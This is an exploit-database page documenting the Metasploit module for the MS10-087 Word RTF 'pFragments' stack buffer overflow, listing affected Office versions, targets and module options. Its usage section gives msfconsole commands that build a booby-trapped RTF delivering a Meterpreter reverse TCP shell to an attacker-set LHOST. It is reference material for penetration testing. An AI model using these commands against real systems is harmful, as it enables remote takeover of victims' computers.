Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) | Metasploit Exploit Database (DB)

Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)

This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life.

Search Other Modules


Exploit Rank

  • Great

Exploit Authors

  • wushi of team509 < >
  • unknown < >
  • jduck < jduck [at] metasploit.com >
  • DJ Manila Ice, Vesh, CA < >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - Microsoft Office 2002 SP3 English on Windows XP SP3 English
  • 2 - Microsoft Office 2003 SP3 English on Windows XP SP3 English
  • 3 - Microsoft Office 2007 SP0 English on Windows XP SP3 English
  • 4 - Microsoft Office 2007 SP0 English on Windows Vista SP0 English
  • 5 - Microsoft Office 2007 SP0 English on Windows 7 SP0 English
  • 6 - Crash Target for Debugging

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > show payloads
msf exploit(ms10_087_rtf_pfragments_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_087_rtf_pfragments_bof) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_087_rtf_pfragments_bof) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.rtf)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
DynamicSehRecord Generate a dynamic SEH record (more stealthy)
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session